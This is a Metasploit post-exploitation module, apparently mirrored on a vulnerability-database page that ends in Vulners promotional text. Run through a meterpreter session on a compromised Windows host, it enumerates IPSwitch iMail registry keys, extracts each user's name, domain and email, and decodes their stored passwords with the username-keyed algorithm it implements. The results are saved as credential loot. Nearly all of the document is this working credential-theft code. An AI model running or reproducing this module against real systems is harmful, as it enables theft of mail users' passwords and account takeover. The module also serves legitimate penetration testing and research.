##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Post
include Msf::Post::Windows::Registry
include Msf::Auxiliary::Report
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Windows Gather IPSwitch iMail User Data Enumeration',
'Description' => %q{
This module will collect iMail user data such as the username, domain,
full name, e-mail, and the decoded password. Please note if IMAILUSER is
specified, the module extracts user data from all the domains found. If
IMAILDOMAIN is specified, then it will extract all user data under that
particular category.
},
'License' => MSF_LICENSE,
'Author' => [
'sinn3r', # Metasploit
],
'References' => [
['EDB', '11331'],
],
'Platform' => [ 'win' ],
'SessionTypes' => [ 'meterpreter' ]
)
)
register_options(
[
OptString.new('IMAILUSER', [false, 'iMail username', '']),
OptString.new('IMAILDOMAIN', [false, 'iMail Domain', ''])
]
)
end
def download_info(imail_user = '', imail_domain = '')
base = 'HKLM\\SOFTWARE\\Ipswitch\\IMail'
# Find domain(s)
users_subkey = []
if imail_domain.empty?
domains_key = registry_enumkeys("#{base}\\domains")
if !domains_key.nil?
domains_key.each do |domain_key|
users_subkey << "#{base}\\domains\\#{domain_key}\\Users"
end
end
else
users_subkey << "#{base}\\domains\\#{imail_domain}\\Users"
end
# Find users
users_key = []
users_subkey.each do |user_key|
if imail_user.empty?
users = registry_enumkeys(user_key)
if !users.nil?
users.each do |user|
users_key << "#{user_key}\\#{user}"
end
end
else
users_key << "#{user_key}\\#{imail_user}"
end
end
# Get data for each user
users = []
users_key.each do |key|
# Filter out '_aliases'
next if key =~ /_aliases/
vprint_status("Grabbing key: #{key}")
domain = ::Regexp.last_match(1) if key =~ /Ipswitch\\IMail\\domains\\(.+)\\Users/
mail_addr = registry_getvaldata(key, 'MailAddr')
password = registry_getvaldata(key, 'Password')
full_name = registry_getvaldata(key, 'FullName')
username = ::Regexp.last_match(1) if mail_addr =~ /(.+)@.+/
# Hmm, I don't think this user exists, skip to the next one
next if mail_addr.nil?
current_user =
{
domain: domain,
fullname: full_name,
username: username,
email: mail_addr,
password: password
}
users << current_user
end
return users
end
def decode_password(username = '', enc_password = '')
# No point trying to decode if there's no username or password
return '' if username.empty? || enc_password.empty?
counter = 0
password = ''
# Start decoding, what's up gold $$
0.step(enc_password.length - 1, 2) do |i|
byte_1 = enc_password[i, 1].unpack('C')[0]
byte_1 = (byte_1 <= 57) ? byte_1 - 48 : byte_1 - 55
byte_1 *= 16
byte_2 = enc_password[i + 1, 1].unpack('C')[0]
byte_2 = (byte_2 <= 57) ? byte_2 - 48 : byte_2 - 55
char = byte_1 + byte_2
counter = 0 if username.length <= counter
username_byte = username[counter, 1].unpack('C')[0]
if (username_byte > 54) && (username_byte < 90)
username_byte += 32
end
char -= username_byte
counter += 1
password << char.chr
end
vprint_status("Password '#{enc_password}' = #{password}")
return password
end
def report(users)
credentials = Rex::Text::Table.new(
'Header' => 'Ipswitch iMail User Credentials',
'Indent' => 1,
'Columns' =>
[
'User',
'Password',
'Domain',
'Full Name',
'E-mail'
]
)
users.each do |user|
domain = user[:domain]
username = user[:username]
password = user[:password]
full_name = user[:fullname]
e_mail = user[:email]
if datastore['VERBOSE']
text = ''
text << "User=#{username}, "
text << "Password=#{password}, "
text << "Domain=#{domain}, "
text << "Full Name=#{full_name}, "
text << "E-mail=#{e_mail}"
print_good(text)
end
credentials << [username, password, domain, full_name, e_mail]
end
print_status('Storing data...')
path = store_loot(
'imail.user.creds',
'text/csv',
session,
credentials.to_csv,
'imail_user_creds.csv',
'Ipswitch iMail user credentials'
)
print_status("User credentials saved in: #{path}")
end
def run
imail_user = datastore['IMAILUSER']
imail_domain = datastore['IMAILDOMAIN']
vprint_status('Download iMail user information...')
# Download user data. If no user specified, we dump it all.
users = download_info(imail_user, imail_domain)
# Process fullname and decode password
users.each do |user|
user[:fullname] = Rex::Text.to_ascii(user[:fullname][2, user[:fullname].length])
user[:password] = decode_password(user[:username], user[:password])
end
# Report information and store it
report(users)
end
end
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation